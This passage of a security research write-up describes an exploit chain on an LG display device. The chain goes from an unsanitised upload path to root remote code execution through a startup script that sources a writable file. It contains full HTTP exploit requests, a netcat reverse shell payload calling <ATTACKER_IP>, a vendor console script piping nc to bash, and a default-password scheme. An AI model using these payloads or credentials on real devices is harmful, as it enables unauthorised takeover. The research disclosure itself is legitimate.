                    &lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;normalize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;RegExp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fieldname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;failOver&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;normalize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fieldname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;upload_mask&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/var/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;basename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;originalname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;newname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;basename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;newname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;nx&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Destination path is held in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;storage&lt;/code&gt; variable. This variable is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;diskStorage()&lt;/code&gt; object, created from  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getDiskStorageInfo()&lt;/code&gt; function that can be found at the bottom part of the code snippet. In this function, we can see a tree of conditionals statements that set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to&lt;/code&gt; variable (destination path for our uploaded file) depending on which parameters are set in the request. If the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;failOver&lt;/code&gt; field is set in the request, the backend will set the destination path to the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dir&lt;/code&gt; parameter from the request without any sanitization! We quickly tried to upload the file to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; directory and read it with the path traversal vulnerability we’ve discovered previously:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Upload to /tmp directory request:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /upload HTTP/1.1
Host: IP:3737
Cookie: &amp;lt;COOKIES&amp;gt;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycBcAJGhoAF8Tvoep
Connection: close

------WebKitFormBoundarycBcAJGhoAF8Tvoep
Content-Disposition: form-data; name=&quot;dir&quot;

/tmp/
------WebKitFormBoundarycBcAJGhoAF8Tvoep
Content-Disposition: form-data; name=&quot;newname&quot;

test.txt
------WebKitFormBoundarycBcAJGhoAF8Tvoep
Content-Disposition: form-data; name=&quot;failOver&quot;; filename=&quot;test.png&quot;
Content-Type: application/js

pwned
------WebKitFormBoundarycBcAJGhoAF8Tvoep--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Read /tmp/test.txt file request:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /thumbnail/file?reqParam={&quot;path&quot;:&quot;/tmp/test.txt&quot;,&quot;time&quot;:123123123} HTTP/1.1
Host: 192.168.88.254
Cookie: connect.sid=&amp;lt;COOKIES&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Successful file read:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
[...]
Content-Type: application/octet-stream
Content-Length: 7
Connection: close

pwned
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, our joy quickly ended as we’ve realized that our newly discovered unrestricted upload is actually restricted to the following directories due to the file system permissions:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;/dev&lt;/li&gt;
  &lt;li&gt;/home/root&lt;/li&gt;
  &lt;li&gt;/media&lt;/li&gt;
  &lt;li&gt;/var&lt;/li&gt;
  &lt;li&gt;/tmp&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_8.jpg&quot; alt=&quot;Linux acl meme&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;its-a-long-way-to-the-root-if-you-wanna-rce&quot;&gt;It’s a long way to the root (if you wanna RCE)&lt;/h2&gt;
&lt;p&gt;At this point we needed to reflect on what vulnerabilities we’ve discovered and how we can use them to get code execution on the device. We had full file read on the device, and we can write any files in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/root&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/media/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; directories. After quick look, we’ve excluded the usage of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/root&lt;/code&gt; directories as they held no files used by any process. I decided to focus my work on the filesystem dumped from the firmware. After running a search on files that contain “/var” string one file caught my attention. The specific file was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/init/wtaservice.conf&lt;/code&gt;. It is a startup  file for a service that is launched after a device is rebooted. The contents of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wtaservice.conf&lt;/code&gt; file can be found below:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;description &lt;span class=&quot;s2&quot;&gt;&quot;WTA is a test agent service for ATS5&quot;&lt;/span&gt;

start on rest-boot-done

&lt;span class=&quot;c&quot;&gt;# Comment this line out to suppress logs on the console&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#console output&lt;/span&gt;

script
    &lt;span class=&quot;nv&quot;&gt;WTA_ENABLED&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/var/luna/preferences/wta_enabled
    &lt;span class=&quot;nv&quot;&gt;WTA_USB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;find /tmp/usb/ &lt;span class=&quot;nt&quot;&gt;-maxdepth&lt;/span&gt; 3 | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; 1 wta_usb.sh &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; /bin/true&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-x&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$WTA_USB&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
        &lt;span class=&quot;c&quot;&gt;#install wta from usb&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$WTA_USB&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$WTA_ENABLED&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SERVICE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;com.lge.service.wta
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; /media/developer/&lt;span class=&quot;nv&quot;&gt;$SERVICE&lt;/span&gt;/service_ok &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
            &lt;span class=&quot;c&quot;&gt;#wta is already installed, just launch it&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; /media/developer/&lt;span class=&quot;nv&quot;&gt;$SERVICE&lt;/span&gt;/run.sh
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
            &lt;span class=&quot;c&quot;&gt;#start remote console for autodiscover service&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; /bin/bash &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOT&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
                SERVER_INTERNAL=hewta.lge.com
                SERVER_EXTERNAL=wta.iptime.org
                PORT=9001
                FIFO=/tmp/wta.fifo
                #you can use &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$WTA_ENABLED&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt; file as a bash script
                #and define/redefine any variables inside it
                #ex: PORT=9000; SERVER_EXTERNAL=123.123.123.123
                source &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$WTA_ENABLED&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
                #wait for server is available
                while [ 1 ];do
                    SERVER=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;SERVER_INTERNAL
                    ping &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;SERVER -c 1 &amp;amp;&amp;amp; break
                    SERVER=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;SERVER_EXTERNAL
                    ping &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;SERVER -c 1 &amp;amp;&amp;amp; break
                    sleep 60
                done;
                rm &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;FIFO; mkfifo &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;FIFO
                #connect to server and launch console
                nc &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;SERVER &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;PORT &amp;lt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;FIFO 2&amp;gt;&amp;amp;1 | /bin/bash &amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;FIFO 2&amp;gt;&amp;amp;1
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOT
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;fi
    fi
&lt;/span&gt;end script&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;After initial inspection you can clearly see that something odd is happening in this file. First the script checks &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WTA_ENABLED&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WTA_USB&lt;/code&gt; conditions. If the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/luna/preferences/wta_enabled&lt;/code&gt; exists (yes, we can write files to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/&lt;/code&gt; directory!), the script will do VERY strange things. On first condition it will either run the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;run.sh&lt;/code&gt; script, but it won’t as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;developer&lt;/code&gt; directory was not created on out device, and we couldn’t create any directories – just write or create files. The second condition is even stranger. First it assigns some server and port variables:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;SERVER_INTERNAL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;hewta.lge.com
&lt;span class=&quot;nv&quot;&gt;SERVER_EXTERNAL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;wta.iptime.org
&lt;span class=&quot;nv&quot;&gt;PORT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;9001&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Then a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;source&lt;/code&gt; command is run on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/luna/preferences/wta_enabled&lt;/code&gt; file:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$WTA_ENABLED&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Then an availability check is done via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt; (great stuff):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; 1 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;do
                    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SERVER&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;SERVER_INTERNAL
                    ping &lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;SERVER &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1 &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;break
                    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SERVER&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;SERVER_EXTERNAL
                    ping &lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;SERVER &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1 &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;break
                    sleep &lt;/span&gt;60
                &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And finally a netcat reverse shell is launched (?):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nc &lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;SERVER &lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;PORT &amp;lt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;FIFO 2&amp;gt;&amp;amp;1 | /bin/bash &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;FIFO 2&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This was more then disturbing and we were trying not to say word “backdoor” when reading above code. However this script was perfect to escalate our file write vulnerabilities to achieve remote code execution. In the above script, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;source&lt;/code&gt; command will execute any code from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wta_enabled&lt;/code&gt; file located in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/&lt;/code&gt; directory. We’ve quickly send the request to create a file with reverse shell and reboot the TV:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reverse shell upload request:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /upload HTTP/1.1
Host: &amp;lt;IP&amp;gt;:3737
Cookie: connect.sid=&amp;lt;COOKIES&amp;gt;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysfuG9nlqBES9Dnvo
Connection: close

------WebKitFormBoundarysfuG9nlqBES9Dnvo
Content-Disposition: form-data; name=&quot;dir&quot;

/var/luna/preferences/
------WebKitFormBoundarysfuG9nlqBES9Dnvo
Content-Disposition: form-data; name=&quot;newname&quot;

wta_enabled
------WebKitFormBoundarysfuG9nlqBES9Dnvo
Content-Disposition: form-data; name=&quot;failOver&quot;; filename=&quot;test.png&quot;
Content-Type: application/octet-stream

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|/usr/bin/nc &amp;lt;ATTACKER_IP&amp;gt; 1337 &amp;gt;/tmp/f

------WebKitFormBoundarysfuG9nlqBES9Dnvo--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then after rebooting the TV, we could happily see a connection to our netcat listener (and with root privileges!):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_9.png&quot; alt=&quot;Reverse shell&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;putting-it-all-together&quot;&gt;Putting it all together&lt;/h2&gt;
&lt;p&gt;So, we got code execution on the device, but this still can be done only with the administrative rights. This lowered the impact of this bug, but Franek found an interesting authentication bypass if the device is not yet configured. The default administrator password for Content Manager and Control Manager apps is created by appending the string “LGe12#”, to the serial number of the device. Luckily, the following API endpoint:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/system/lge/setting?reqParam={&quot;category&quot;:&quot;network&quot;,&quot;keys&quot;:[&quot;deviceName&quot;]}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Can be accessed without any authentication. In response the API will return device name in the form of JSON object:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;settings&quot;:{&quot;deviceName&quot;:&quot;XXXXXXXXXXXX XXXX&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

